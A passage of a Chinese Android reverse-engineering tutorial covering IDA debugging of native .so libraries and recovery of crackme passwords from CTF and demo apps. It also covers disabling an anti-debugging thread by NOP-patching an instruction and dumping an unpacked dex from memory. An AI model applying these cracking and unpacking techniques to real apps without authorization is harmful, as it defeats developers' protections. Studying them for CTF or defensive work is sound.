    {"text": "这个方法是最核心的，通过分析知道，通过传递进来的字节数组，循环遍历数组，拿到字节转化成int类型，然后再调用密钥库字符串table的charAt得到字符，使用StringBuilder进行拼接。"},
    {"text": "通过上面的分析之后，知道获取加密之后的输入内容和正确的密码内容做比较，那么现在有的资源是：密钥库字符串和正确的加密之后的密码，以及加密的逻辑。"},
    {"text": "那么破解思路就有了，相当于，知道了密钥库字符串，也知道了加密之后的字符组成的字符串，那么可以通过遍历加密之后的字符串，循环遍历，获取字符，然后再去密钥库找到指定的index，然后再转成byte，保存到字节数组，然后用utf-8获取一个字符串，那么这个字符串就是想要的密码。 下面就用代码来实现这个功能： 代码中的函数相当于上面加密函数的bytesToAliSmsCode的反向实现，运行结果如图21-30所示。 图21-30 破解结果 得到了正确的密码，下面来验证一下，如图21-31所示。 图21-31 验证结果 破解成功。"},
    {"text": "补充：刚刚在断点调试的时候，看到了代码中用了Log来打印日志，tag是lil，那么可以打印这个log看看结果，如下所示： 这里table是密钥库，pw是正确的加密之后的密码，enPassword是输入之后加密的密码。"},
    {"text": "未知 21.3 本章小结 本章介绍了如何使用Eclipse动态调试反编译之后的smali源码，这种方式比静态方式高效很多，但是现在市场上的大部分应用没有这么简单就破解了，比如核心的加密算法放到了native层去做，那么这时候就需要去动态调试so文件，这是下一章的内容。 未知 第22章 IDA工具调试so源码 本章继续介绍逆向apk的相关知识，主要介绍如何使用IDA来调试Android中的native源码，因为现在有一些App，为了安全或者效率问题，会把一些重要的功能放到native层，那么用Eclipse调试smali源码就显得很无力了，因为Android中native层使用的是so库文件，所以本章介绍如何调试so文件的内容，从而提高破解成功率。"},
    {"text": "图22-1 IDA工具的窗口视图 IDA工具有多个窗口，也有多个视图，用到最多的如下所示： ·Function Window对应so函数区域：在这里可以使用ctrl+f进行函数的搜索。 ·IDA View对应so中代码指令视图：在这里可以查看具体函数对应的ARM指令代码。 ·Hex View对应so的十六进制数据视图：在这里可以查看ARM指令对应的数据等。"},
    {"text": "1.ARM指令转化成C语言快捷键 强大的F5快捷键可以将ARM指令转化成可读的C语言，能帮助分析，如下所示： 首先选中需要翻译成C语言的函数，然后按下F5，如下所示： 下面还需要做一步，就是还原JNI函数方法名。"},
    {"text": "一般JNI函数方法名是一个指针加上一个数字，比如v3+676。 然后将这个地址作为一个方法指针进行方法调用，并且第一个参数就是指针自己，比如（v3+676）（v3…）。"},
    {"text": "因为IDA并不会自动对这些方法进行识别，所以当对so文件进行调试的时候经常会见到却搞不清楚这个函数究竟在干什么，因为这个函数实在是太抽象了。"},
    {"text": "另外还总结了所有JNIEnv方法对应的数字、地址以及方法声明，如下所示： 2.打开字符串内容窗口快捷键 用Shirt+F12快捷键快速打开so中所有的字符串内容窗口，如图22-4所示。"},
    {"text": "图22-5 打开so中的段信息 可以快速得到一个段的开始位置和结束位置，不过这个位置是相对位置，不是so映射到内存之后的位置，关于so中的段信息，已经在前面章节中详细介绍。"},
    {"text": "当在调试页面的时候，用Ctrl+S键可以快速定位到想要调试的so文件映射到内存的地址，如图22-6所示。 图22-6 定位调试的so文件的内存地址 一般一个程序肯定会包含多个so文件，比如系统的so文件就有好多，一般都是在/system/lib下面，当然也有自己的so，这里可看到开始位置和结束位置就是这个so文件映射到内存中，如下所示： 这里可以使用cat命令查看一个进程的内存映射信息： 看到映射信息中有多个so文件，其实这不是多个so文件，而是so文件中对应的不同Segement信息被映射到内存中的，一般是代码段、数据段等，因为需要调试代码，所以只关心代码段。"},
    {"text": "比如现在想跳转到A函数，然后下断点，那么可以使用上面说到的Ctrl+S查找到so文件的内存开始的基地址，然后再用IDA View中查看A函数对应的相对地址，相加就是绝对地址，然后跳转到即可，比如这里的：Java_cn_wjdiankong_encryptdemo_MainActivity_isEquals函数的IDA View中的相对地址是（也就是so文件的地址）E9C，如下所示： 上面看到so文件映射到内存的基地址为74FE4000，如下所示： 那么跳转地址就是74FE4000+E9C=74FE4E9C。 注意，只要程序没有退出，一般这里的基地址在运行中的值就不会变，因为程序的数据已经加载到内存中了。 同时相对地址是永远不会变的，只有在修改so文件的时候，文件的大小改变了，可能相对地址会改变，其他情况下不会改变，相对地址就是数据在整个so文件中的位置。"},
    {"text": "这里可以看到函数映射到内存中的绝对地址，如下所示： 有时候发现跳转到指定位置之后，看到的全是DCB数据，这时候选择函数地址，点击P键就可以看到ARM指令源码了，如下所示： 5.调试快捷键 调试快捷键包括：F8单步调试，F7单步进入调试，如下所示： 上面找到函数地址之后，可以下断点了，下断点很简单，点击签名的绿色圈点，变成红色条目即可，然后可以点击F9快捷键，或者点击运行按钮（绿色右箭头），即可运行程序，如图22-8所示。"},
    {"text": "未知 22.2 构造so案例 了解IDA工具之后，就可以开始动手操作了。为了方便开始，先自己写一个简单的Android native层代码，然后用IDA进行分析即可。这里可以使用Android Studio新建一个简单工程，然后创建JNI。如何在Android Studio中开发NDK，前面章节中已经详细介绍了。下面直接在Android Studio中新建了一个Native项目，这里关于native项目的代码不想解释太多，就是Java层传递了用户输入的密码，然后native做了校验过程，把校验结果返回到Java层。如下所示： 具体的校验过程这里不再解释了。运行项目之后得到apk文件，那么下面就开始破解旅程了。"},
    {"text": "未知 22.3 逆向so文件 下面开始破解编译之后的apk文件。 22.3.1 获取应用的so文件 按照国际惯例，直接使用解压软件，获取应用apk中的so文件，如图22-9所示。 图22-9 解压so文件 得到libencrypt.so文件之后，使用IDA打开它，如图22-10所示。"},
    {"text": "那么这里直接搜Java关键字即可，或者使用jd-gui工具找到指定的native方法，如图22-11所示。 图22-10 IDA打开so文件 图22-11 native函数名 双击即可在右边的IDA View页面中看到Java_cn_wjdiankong_encryptdemo_MainActivity_isEquals函数的指令代码，如图22-12所示。"},
    {"text": "可以简单分析一下这段指令代码： ·PUSH{r3-r7，lr}是保存r3，r4，r5，r6，r7，lr的值到内存的栈中，那么最后当执行完某操作后，想返回到lr指向的地方执行，当然要给pc了，因为pc保留下一条CPU即将执行的指令，只有给了pc，下一条指令才会执行到lr指向的地方。"},
    {"text": "然后是调用了strlen、malloc、strcpy等系统函数，在每次使用BLX和BL指令调用这些函数的时候，都发现了一个规律：在调用它们之前一般都是用MOV指令来传递参数值的，比如这里的R5里面存储的就是strlen函数的参数，R0就是is_number函数的参数，如下代码所示。"},
    {"text": "这里是破解的突破点，因为一般加密再怎么厉害，最后比较的参数肯定是正确的密码（或者是正确的加密之后的密码）和输入的密码（或者是加密之后的输入密码），在这里就可以得到正确密码，或者是加密之后的密码。"},
    {"text": "·is_number函数，这个函数看名字就能猜到是判断是不是数字，可以使用F5键，查看它对应的C语言代码，如下所示： 这里简单一看，主要是看return语句和if判断语句，看到这里有一个循环，然后获取_BYTE*这里地址的值，并且自增加一，然后存到v2中，如果v3为'\\0'的话，就结束循环，然后做一次判断，就是v2-48是否大于9，那么这里知道48对应的是ASCII中的数字0，所以这里可以确定：用一个循环遍历_BYTE*这里存的字符串是否为数字串。"},
    {"text": "·get_encrypt_str函数，这个函数看到名字就可以猜测，它是获取输入的密码加密之后的值，再次使用F5快捷键查看对应的C语言代码，如下所示： 首先是一个if语句，用来判断传递的参数是否为NULL。"},
    {"text": "首指针保存到result，大小是v2+1，也就是传递进来的字符串长度+1，然后就开始进入循环。 首指针result，赋值给i指针，开始循环，v3是通过v1-1获取到的，就是函数传递进来字符串的地址，那么v6就是获取传递进来字符串的字符值，然后减去48，赋值给v7。"},
    {"text": "继续往下看，如果v6==48的话，v7=1，也就是说这里如果遇到字符'0'，就赋值1。 看到上面得到的v7值，被用来取key_src数组中的值，那么这里双击key_src变量，就跳转到了它的值地方。 果不其然，这里保存了一个字符数组，看到它的长度正好是18，如下代码所示，那么应该明白了，这里通过传递进来的字符串，循环遍历字符串，获取字符，然后转化成数字，再倒序获取key_src中的字符，保存到result中。"},
    {"text": "这两个重要函数的功能为，一个是判断输入的内容是否为数字字符串，一个是通过输入的内容获取密码内容，然后和正确的加密密码ssBCqpBssP进行比较。"},
    {"text": "22.3.2 用IDA进行调试设置 本节就用动态调试方法来跟踪传入的字符串值，以及加密之后的值。 看到打印log的函数，很难知道具体的参数和寄存器的值，所以这里需要开始调试，得知每个函数执行之后的寄存器的值，在用IDA进行调试so的时候，需要以下准备步骤。"},
    {"text": "在前一章中介绍了关于Android中的调试原理，其实是使用gdb和gdbserver来做到的，gdb和gdbserver在调试的时候，必须注入到被调试的程序进程中。"},
    {"text": "IDA有类似于gdbserver这样的工具，那就是android_server，需要运行在设备中，保证和PC端的IDA进行通信，比如获取设备的进程信息、具体进程的so内存地址、调试信息等。 把android_server保存到设备的/data目录下，修改一下它的运行权限，然后必须在root环境下运行，因为要做注入进程操作，所以必须要root： 注意，这里把它放在了/data目录下，然后是./android_server命令，这里提示了IDA Android 32-bit，所以后面在打开IDA的时候一定要是32位的IDA，不是64位的。 IDA在安装之后都是有两个可执行的程序，一个是32位，一个是64位的，如果没打开正确会报这样的错误，如图22-14所示。 图22-14 报错信息 还有一类问题：error：only position independent executables（PIE）are supported这主要是Android 5.0以上的编译选项默认开启了pie，在5.0以下编译的原生应用不能运行，有两种解决办法，一种是用Android 5.0以下的手机进行操作，还有一种就是用IDA6.6+版本即可。 然后开始监听了设备的23946端口，如果想让IDA和这个android_server进行通信，必须让PC端的IDA也连上这个端口，这时候就需要借助于adb的一个命令了： 这里就可以把android_server端口转发出去： 这时候，只要在PC端使用IDA连接上23946这个端口就可以了。"},
    {"text": "因为后面在使用IDA进行连接的时候，发现IDA把这个端口设置死了，就是23946，可使用如下命令修改：android-server-p1234。 可以使用netstat命令查看端口23946的使用情况，看到是ida在使用这个端口 2.IDA获取进程信息 上面准备好了android_server，运行成功，下面就用IDA进行尝试连接，获取信息，进行进程附加注入。"},
    {"text": "这时候需要再打开一个IDA，之前打开一个IDA是用来分析so文件的，一般用于静态分析，要调试so的话，需要再打开一个IDA。 这里一般都是需要打开两个IDA，也叫作双开IDA操作，采用动静结合策略，如图22-15所示。 图22-15 双开IDA 这里记得选择Go这个选项，就是不需要打开so文件了，进入一个空白页，如图22-16所示。 在Debugger选项卡中选择Attach，看到有很多debugger，可见IDA工具真的很强大，做到很多debugger的兼容，可以调试很多平台下的程序。 这里选择Android debugger，出现页面如图22-17所示。 图22-16 选择Debugger选项 图22-17 设置端口 这里可看到端口是23946，所以上面用adb forward进行端口转发的时候是23946。 这里PC本地机就是调试端，所以host就是本机的ip地址：127.0.0.1，点击OK，出现界面如图22-18所示。"},
    {"text": "图22-18 进程信息列表 可以看到列出了设备中所有的进程信息，其实都是android_server干的事，获取设备进程信息传递给IDA进行展示。 注意，如果当初没有用root身份去运行android_server： IDA就不会列举出设备的进程信息，如图22-19所示。 图22-19 无进程列表信息 还有一个注意的地方，就是IDA和android_server版本一定要保持一致。"},
    {"text": "可以用Ctrl+F快捷键搜索需要调试的进程，这里必须运行要调试的进程，不然也是找不到这个进程的，如图22-20所示。 图22-20 搜索进程 双击进程，即可进入调试页面，如图22-21所示。 图22-21 进入调试页面 为什么会断在libc.so中呢？"},
    {"text": "图22-22 linker文件 这个linker是用于加载so文件的模块，所以后面再分析如何在.init_array处下断点，还有一个就是libdvm.so文件，它包含了dvm中所有的底层加载dex的一些方法，如图22-23所示。 图22-23 libdvm.so文件 在后面动态调试需要dump出加密之后的dex文件，就需要调试这个so文件了。"},
    {"text": "3.找到函数地址下断点 使用Ctrl+S快捷键找到需要调试so的基地址：74FE4000，如图22-24所示。 图22-24 查找基地址 然后通过另外一个IDA打开so文件，查看函数的相对地址：E9C，如下所示： 那么得到了函数的绝对地址就是：74FE4E9C，使用G键快速跳转到这个绝对地址，如图22-25所示。 图22-25 跳转到绝对地址 跳转这个地址之后，开始下断点，点击最左边的绿色圆点即可下断点，如下所示： 然后点击左上角的绿色三角按钮运行，也可以使用F9键运行程序。"},
    {"text": "图22-26 点击程序中的按钮 触发native函数的运行，如下所示： 进入调试阶段了，这时候可以使用F8快捷键进行单步调试，用F7进行单步调试，如下所示： 点击F8进行单步调试，到达is_number函数调用处，看到R0是出入的参数值，可以查看R0寄存器的内容，然后看到是123456，这个就是Java层传入的密码字符串。"},
    {"text": "接着往下走，如下所示： 这里把is_number函数返回值保存到R0寄存中，然后调用CBZ指令，判断是否为0，如果为0就跳转到locret_74FE4EEC处，查看R0寄存器的值不是0，继续往下走，如图22-27所示。 图22-27 查看寄存器值 看到了get_encrypt_str函数的调用，函数的返回值保存在R1寄存器中，查看内容为：zytyrTRA*B，那么看到，上层传递的：123456→zytyrTRA*B，前面静态分析了get_encrypt_str函数的逻辑，继续往下看，如下所示： 这里把上面得到的字符串和ssBCqpBssP作比较，那么ssBCqpBssP就是正确的加密密码了。 那么现在的资源是：正确的加密密码为ssBCqpBssP，加密密钥库为zytyrTRA*BniqCPpVs，加密逻辑为get_encrypt_str。 可以写一个逆向的加密方法，去解析正确的加密密码得到值即可。"},
    {"text": "加密apk下载地址： http://download.csdn.net/detail/jiangwei0910410003/9531638 22.3.3 IDA调试的流程总结 到这里，就分析了如何破解apk的流程，下面来总结一下： 1）通过解压apk文件得到对应的so文件，然后使用IDA工具打开so文件，找到指定的native层函数。"},
    {"text": "5）使用adb forward进行端口转发，让远程调试端IDA可以连接到被调试端。 6）使用IDA连接上转发的端口，查看设备的所有进程，找到需要调试的进程。"},
    {"text": "7）通过打开so文件，找到需要调试函数的相对地址，然后在调试页面使用Ctrl+S找到so文件的基地址，相加之后得到绝对地址，使用G键，跳转到函数的地址处，下好断点。"},
    {"text": "首先使用aapt命令查看其AndroidManifest.xml文件，得到入口的Activity类，如下所示： 图22-28 破解程序 然后使用dex2jar和jd-gui查看它的源码类com.yaotong.crackme.MainActivity，如下所示： 看到它的判断，securityCheck方法是native层的，所以这时候去解压apk文件，获取它的so文件，使用IDA打开查看native函数的相对地址11A8，如图22-29所示。"},
    {"text": "图22-29 查看函数的相对地址 这里的ARM指令代码不分析了，大家自行查看即可，直接进入调试即可，再打开一个IDA进行关联调试，如图22-30所示。 图22-30 附加进程 选择对应的调试进程，然后点击OK，如图22-31所示。 图22-31 查找需要调试的so文件 使用Ctrl+S键找到对应so文件的基地址74EA9000，和上面得到的相对地址相加得到绝对地址74EA9000+11A8=74EAA1A8。 使用G键直接跳到这个地址，如下所示： 下个断点，然后点击F9运行程序，如图22-32所示。 图22-32 运行程序 这时候会发现IDA退出调试页面了，再次进入调试页面，运行，还是退出调试页面了。"},
    {"text": "前面说到，IDA是使用android_server在root环境下注入到被调试的进程中，那么这里用到一个技术就是Linux中的ptrace，关于ptrace这里也不解释了，大家可以自行的去搜一下ptrace的相关知识。 那么Android中如果一个进程被另外一个进程ptrace了之后，在其status文件中有一个字段TracerPid可以标识是被哪个进程trace了，可以使用命令查看到被调试的进行信息status文件在：/proc/[pid]/status，如下所示： 这里的进程被27445进程trace了，在用ps命令看看27445是哪个进程： 果不其然是android_server进程。"},
    {"text": "知道原理了，也大致猜到了阿里在底层做了一个循环检测这个字段如果不为0，那么代表自己进程有人trace，那么就直接停止退出程序，这个反调试技术用在很多安全防护的地方。"},
    {"text": "刚刚看到，只要一运行程序，就退出了调试界面，说明，这个循环检测程序执行的时机非常早，那么现在知道的最早的两个时机是：一个是.init_array，一个是JNI_OnLoad。"},
    {"text": "JNI_OnLoad是so被System.loadLibrary调用的时候执行，它的时机要早于哪些native方法执行，但是没有.init_array时机早。 知道了这两个时机，下面先来看看是不是在JNI_OnLoad函数中做的策略，所以需要先动态调试JNI_OnLoad函数。 既然知道了JNI_OnLoad函数的时机，如果把检测函数放在这里的话，不能用之前的方式去调试了，因为之前的那种方式时机太晚了，只要运行就已经执行了JNI_OnLoad函数，所以就会退出调试页面，幸好这里IDA提供了在so文件load的时机，只需要在Debug Option中设置一下就可以了，在调试页面的Debugger选择Debugger Option选项，如图22-33所示。 然后勾选Suspend on library load/unload即可，如图22-34所示。 图22-33 设置Debugger选项 图22-34 勾选Suspend on library load/unload 这样设置之后，还是不行，因为程序已经开始运行，就在static代码块中加载so文件了，如图22-35所示。"},
    {"text": "static的时机非常早，所以这时候，需要让程序停在加载so文件之前即可。 图22-35 static代码块中加载so文件 那么想到的就是添加代码waitForDebugger，这个方法就是等待debug，还记得在之前的调试smali代码的时候，就是用这种方式让程序停在了启动初，然后等待去用jdb进行attach操作。 这一次可以在System.loadLibrary方法之前加入waitForDebugger代码即可，但是这里不这么干了。 还有一种更简单的方式就是用am命令，am命令本身可以启动一个程序，当然可以用debug方式启动： 这里一个重要参数就是-D，用debug方式启动： 运行完之后，设备是出于一个等待Debugger的状态，如图22-36所示。 图22-36 程序处于等待调试状态 这时候，再次使用IDA进行进程的附加，然后进入调试页面，同时设置一下Debugger Option选项，然后定位到JNI_OnLoad函数的绝对地址，如图22-37所示。 但是发现，这里没有RX权限的so文件，说明so文件没有加载到内存中，想一想还是对的，因为现在的程序是wait Debugger，也就是还没有走System.loadLibrary方法，so文件当然没有加载到内存中，所以需要让程序跑起来，这时候可以使用jdb命令去attach等待的程序，命令如下： 图22-37 定位到JNI_OnLoad绝对地址 其实这条命令的功能类似于前一章中说到用Eclipse调试smali源码的时候，在Eclipse中设置远程调试工程，选择Attach方式，调试机的ip地址和端口，还记得8700端口是默认的端口，但是运行这个命令之后，出现了一个错误： 无法连接到目标的VM，那么这种问题大部分都出现在被调试程序不可调试。 可以查看apk的android：debuggable属性： 果不其然，这里没有debug属性，所以这个apk是不可以调试的。 需要添加这个属性，然后再回编译即可： 回编译： 签名apk： 然后再次安装，使用am命令启动。 1）运行命令： 出现Debugger的等待状态。"},
    {"text": "图22-38 so文件选择框 这时候不用管它，全部选择Cancel按钮，然后就运行到了linker模块了，如下所示： 说明so已经加载进来了，再去获取JNI_OnLoad函数的绝对地址，如图22-39所示。 图22-39 获取JNI_OnLoad函数的绝对地址 用Ctrl+S查找到了基地址7515A000，用静态方式IDA打开so查看相对地址1B9C，如下所示： 绝对地址加上相对地址为7515A000+1B9C=7515BB9C，然后点击G键跳转，如图22-40所示。 图22-40 跳转到运行的内存地址 跳转到指定的函数位置，如下所示： 这时候再次点击运行，进入了JNI_OnLoad处的断点，如下所示： 下面就开始单步调试了，但是每次到达BLX R7这条指令执行完之后，JNI_OnLoad就退出了，如下所示： 经过好几次尝试都是一样的结果，发现这个地方有问题，可能就是反调试的地方了，再次进入调试，看见BLX跳转的地方R7寄存器中是pthread_create函数，这个是Linux中新建一个线程的方法。 阿里的反调试就在这里开启一个线程进行轮询操作，如图22-41所示，去读取/proc/[pid]/status文件中的TrackerPid字段值，如果发现不为0，就表示有人在调试本应用，在JNI_OnLoad中直接退出。"},
    {"text": "只要把BLX R7这段指令干掉即可，如果是smali代码的话，可以直接删除这行代码即可。 但是so文件不一样，它是汇编指令，如果直接删除这条指令的话，文件会发生错乱，因为本身so文件就有固定的格式，比如很多段的内容，每个段的偏移值也是保存的，如果这样去删除会影响这些偏移值，会破坏so文件格式，导致so加载出错的，所以这里不能手动去删除这条指令。 还有另外一种方法，就是把这条指令变成空指令，在汇编语言中，nop指令就是一个空指令，它什么都不干，所以这里直接改一下指令即可，arm中对应的nop指令是：00 00 00 00； 那么看到BLX R7对应的指令位置为：1C58，如下所示： 查看它的Hex内容是37 FF 2F E1，如下所示： 可以使用一些二进制文件软件进行内容的修改，这里使用010Editor工具进行修改，如下所示： 直接修改成00 00 00 00，如下所示： 保存修改之后的so文件，再次使用IDA进行打开查看，如下所示： 指令被修改成了ANDEQ R0，R0，R0。 修改了之后，替换原来的so文件，再次重新回编译，签名安装。 再次按照之前的逻辑给主要的加密函数下断点，这里不需要在给JNI_OnLoad函数下断点了，因为已经修改了反调试功能了，所以这里只需要按照如下简单几步操作即可： 1）启动程序。"},
    {"text": "4）打上断点，点击运行，进行单步调试，如下所示： 这里可以单步调试进来了，说明修改反调试指令成功了。 下面就继续用F8单步调试，如下所示： 调试到这里，发现一个问题，就是CMP指令之后，BNE指令就开始跳转到loc_74FAF2D0处，那么就可以猜到了，CMP指令比较的应该就是输入的密码和正确的密码。"},
    {"text": "再次重新调试，看看R3和R1寄存器的值，如下所示： 这里的R3寄存器的值就是用寄存器寻址方式赋值字符串的，这里R2寄存器就是存放字符串的地址，看到的内容是aiyou...但是这里肯定不是全部字符串，因为没看到字符串的结束符：'\\0'，点击R2寄存器，进入查看完整内容，如下所示： 这里是全部内容aiyou，bucuoo。 继续查看R1寄存器的内容，如下所示： 这里同样用寄存器寻址，R0寄存器存储的是R1中字符串的地址，看到这里的字符串内容是jiangwei，这个就是输入的内容，那么到这里就豁然开朗了，密码是上面的aiyou，bucuoo；"},
    {"text": "图22-42 破解成功效果图 提示： 项目下载地址为 http://download.csdn.net/detail/jiangwei0910410003/9531957 注意： 时刻需要注意BL/BLX等跳转指令，在它们执行完之后，肯定会有一些CMP/CBZ等比较指令，这时候就可以查看重要的寄存器内容来获取重要信息。"},
    {"text": "未知 22.5 本章小结 本章主要介绍用IDA调试so文件，这也是一种全新的方式去破解native层的代码。现在有些程序依然把关键代码放在了Java层，那么可以使用Eclipse调试samli文件去破解；如果程序把关键代码放到native层，那么这时候，可以使用IDA来调试so文件去破解。当然破解和加密总是相生相克的。 未知 第23章 逆向加固应用 本章主要介绍如何应对Android中一些apk加固的安全防护，在之前的两章中，可以看到一个是针对于Java层的逆向，一个是针对于native层的逆向，还没有涉及apk的加固，那么本章就要来介绍一下如何应对现在市场中一些加固apk的逆向方法，现在市场中加固apk的方式有两种：一种是对源apk整体做一个加固，放到指定位置，运行的时候再解密动态加载；还有一种是对so进行加固，在so加载内存的时候进行解密释放。本章主要介绍第一种加固方式，就是对apk整体进行加固。 未知 23.1 逆向加固应用的思路 按照逆向惯例，用一个案例来分析讲解，这次依然采用的是阿里的CTF比赛的第三题，如图23-1所示。 图23-1 破解应用界面 题目是：要求输入一个网页的URL，然后跳转到这个页面，但是必须要求弹出指定内容的Toast提示，这个内容是：祥龙！ 了解到题目，就来简单分析一下。这里大致的逻辑应该是，输入的URL会传递给一个WebView控件，进行展示网页。如果按照题目的逻辑的话，应该是网页中的JavaScript会调用本地的一个Java方法，然后弹出相应的提示。那么下面就开始操作。 按照之前的破解步骤： 第一步： 先用解压软件解压出它的classes.dex文件，然后使用dex2jar+jd–gui查看Java代码，如图23-2所示。 这里只有一个Application类，这个apk可能被加固了，为什么这么说呢？因为一个apk加固，外面肯定得套一个壳，这个壳必须是自定义的Application类，它需要做一些初始化操作，那么一般现在加固的apk壳的Application类都喜欢叫StubApplication。这里可以看到，除了一个Application类，没有其他任何类了，包括入口Activity类都没有了，那么这时候会发现，无处下手了。 图23-2 应用的classes.dex文件 第二步： 会使用Apktool工具进行apk的反编译，得到apk的AndroidManifest.xml和资源内容，如下所示： 反编译之后，看到程序会有一个入口的Activity，就是MainActivity类，记住一点，不管最后的apk如何加固，即使看不到代码中的四大组件的定义，也肯定会在AndroidManifest.xml中声明，因为如果不声明的话，运行是会报错的。这里还是没发现入口Activity类，而且知道它肯定是放在本地的一个地方，因为需要解密动态加载，所以不可能是放在网上的，肯定是本地。 这里的技巧如下：当发现apk中主要的类都没有了，肯定是apk被加固了，加固的源程序肯定是在本地，一般会有这么几个地方需要注意的： ·应用程序的assets目录，知道这个目录是不参与apk的资源编译过程的，所以很多加固的应用喜欢把加密之后的源apk放到这里。 ·把源apk加密放到壳的dex文件的尾部，这个方式肯定不是本文的案例，但是也有这样的加固方式，遇到这种加固方式会导致用dex2jar工具解析dex失败，这时候就知道了，肯定对dex做了手脚。 ·把源apk加密放到so文件中，这就比较难了，一般都是把源apk进行拆分，存到so文件中，分析难度会加大的。 一般都是这三个地方。记住一点，不管源apk被拆分，被加密了，被放到哪了，只要是在本地，都有办法得到它。 按照这上面的三个思路来分析一下，这个apk中加固的源apk放在哪了？通过刚刚的dex文件分析，发现第二种方式肯定不可能，那么会放在assets目录中吗？查看assets目录，如图23-3所示。 图23-3 应用的assets目录 assets目录中的确有两个jar文件，而且第一反应是使用jd-gui来查看jar，可惜的是打开失败，所以猜想这个jar是经过处理了，应该是加密，这里很有可能是存放源apk的地方。但是上面也说了还有第三种方式，去看看libs目录中的so文件，如图23-4所示。 图23-4 应用的libs目录 这里有三个so文件，而上面的Application中加载的只有一个so文件：libmobisec.so，那么其他的两个so文件很有可能是拆分apk文件的藏身之处。 通过上面的分析之后，大致知道了两个地方很有可能是源apk的藏身之处，一个是assets目录，一个是libs目录。那么分析完了之后发现现在面临两个问题： ·assets目录中的jar文件被处理了，打不开，也不知道处理逻辑。 ·libs目录中的三个so文件，唯一加载了libmobisec.so文件了。 这里现在的唯一入口就是这个libmobisec.so文件，因为上层的代码没有，没法分析，下面来看一下so文件，如图23-5所示。 图23-5 so中的函数列表 这里没有特殊的方法，比如Java_开头的方法，所以猜测这里应该是自己注册了native方法，混淆了native方法名称。那么到这里，会发现遇到的问题用现阶段的技术是没法解决了。"},
    {"text": "未知 23.2 获取解密之后的dex文件 分析完上面的破解流程之后，发现首要的任务是先得到源apk程序，通过分析知道，处理源apk程序很难找到，所以就要引出本章的内容了：使用动态调试，给libdvm.so中的函数dvmDexFileOpenPartial下断点，然后得到dex文件在内存中的起始地址和大小，然后dump出dex数据即可。 这里会有人提出几个问题。 第一个问题：为何要在dvmDexFileOpenPartial函数下断点？ 不管之前的源程序如何加固，放到哪了，最终都是需要被加载到内存中然后运行，而且是没有加密的内容，那么只要找到dex的内存位置，把这部分数据弄出来就可以了，管它之前是如何加固的，那么问题就变成了，如何获取加载到内存中的dex的地址和大小。这要用到函数dvmDexFileOpenPartial，因为这个函数是最终分析dex文件，加载到内存中的函数： 第一个参数是dex内存起始地址，第二个参数是dex大小。 第二个问题：如何使用IDA给这个函数下断点 在前一章中介绍了动态调试so，下断点的时候必须知道一个函数在内存中的绝对地址，而函数的绝对地址是：这个函数在so文件中的相对地址+so文件映射到内存中的基地址。这个函数肯定是存在libdvm.so文件中的，因为一般涉及dvm有关的函数功能都是存在这个so文件中，那么可以从这个so文件中找到这个函数的相对地址，运行程序之后，再找到libdvm.so的基地址，相加即可。如何获取到libdvm.so文件呢？这个文件是存放在设备的/system/lib目录下的： 只需要使用adb pull命令把这个so文件弄出来就可以了。 解决了这两个问题，下面就开始操作了。 第一步： 运行设备中的android_server命令，使用adb forward进行端口转发： 这里的android_server工具可以去ida安装目录中dbgsrv文件夹中找到： 第二步： 使用命令以debug模式启动apk： 因为需要给libdvm.so下断点，这个库是系统库，所以加载时间很早。需要像之前给JNI_OnLoad函数下断点一样，采用debugger模式运行程序，这里通过上面的AndroidManifest.xml中得到应用的包名和入口Activity： 而且这里的android：debuggable=true可以进行debug调试的。 第三步： 双开IDA，一个用于静态分析libdvm.so，一个用于动态调试libdvm.so。 通过IDA的Debugger菜单，如图23-6所示。进行进程附加操作，如图23-7所示。 图23-6 设置调试端口 图23-7 搜索附加进程 第四步： 使用jdb命令启动连接attach调试器： 但是这里可能会出现这样的错误： 这是因为8700端口没有指定，这时候可以通过Eclipse的DDMS进行端口查看，如图23-8所示。 图23-8 查看进程调试端口 这里是8600端口，但是基本端口8700不在。有两种处理方式，一种方式是把上面的命令的端口改成8600，还有一种方式是选中这个应用，使其具有8700端口，如图23-9所示。 图23-9 设置8700端口 点击这个条目即可，这时候再运行上面的jdb命令： 处于等待状态。 第五步： 给dvmDexFileOpenPartial函数下断点。 使用一个IDA静态分析得到这个函数的相对地址43308，如下所示： 在动态调试的IDA中进行解密，使用Ctrl+S键找到libdvm.so在内存中的基地址41579000，如图23-10所示。 图23-10 函数的基地址 然后将两者相加得到绝对地址43308+41579000=415BC308，使用G键，跳转，如图23-11所示。 图23-11 跳转到绝对地址 跳转到dvmDexFileOpenPartial函数处，下断点，如下所示： 第六步： 点击运行按钮或者F9键运行程序。 之前的jdb命令就连接上了： IDA出现一些提示界面，不要理会，一路点击Cancel按钮即可，如图23-12所示。 图23-12 加载so文件对话框 运行到了dvmDexFileOpenPartial函数处，如下所示： 使用F8键进行单步调试。这里需要注意的是，只要运行过了PUSH命令就可以了，记得不要越过下面的BL命令，因为没必要走到那里。当执行了PUSH命令之后，就是使用脚本来dump出内存中的dex数据了。这里有一个知识点：R0～R4寄存器一般是用来存放一个函数的参数值的，而dvmDexFileOpenPartial函数的第一个参数就是dex内存起始地址，第二个参数就是dex大小，如下所示： 这里就可以使用这样的脚本进行dump操作： 脚本不解释了，非常简单，而且这是固定的格式，以后dump内存中的dex都是用这段代码，将dump出来的dex保存到F盘中。 然后使用Shirt+F2键调出IDA的脚本，如图23-13所示。 图23-13 dump出dex文件 点击Run，这里可能需要等一会。运行成功之后，去F盘得到dump.dex文件。到这里，IDA使命就完成了，因为得到了内存的dex文件了，下面只要分析dex文件即可。"},
    {"text": "未知 23.3 分析解密之后的dex文件内容 拿到dump.dex文件之后，使用dex2jar工具进行反编译，如下所示： 可惜的是，报错了，反编译失败，主要是因为有一个类导致的。开始我以为是dump出来的dex文件有问题，最后用baksmali工具得到smali文件是可以的，所以不是dump出来的问题，最后用baksmali工具将dex转化成smali源码： 得到的smali源码目录classout在C盘中，如图23-14所示。 图23-14 反编译之后的smali源码 得到了指定的smali源码了。 那么下面就可以使用静态方式分析smali。首先找到入口的MainActivity源码： 这里不解释了，肯定是找按钮的点击事件代码处，这里是一个btn_listener变量，看这个变量的定义： 是MainActivity$1内部类定义，查看这个类的smali源码，直接查看它的onClick方法： 这里可以看到，把EditText中的内容用Intent传递给WebViewActivity中，但是这里的intent数据的key是加密的。下面继续看WebViewActivity这个类： 直接查找onCreate方法即可，这里是初始化WebView，然后进行一些设置。这里看到一个@JavascriptInterface。 这个注解在使用WebView的时候都知道，它是用于JavaScript中能够访问而设置的，没有这个注解的方法JavaScript是访问不了的。 注意： 这个注解是在SDK 17加上的，也就是Android 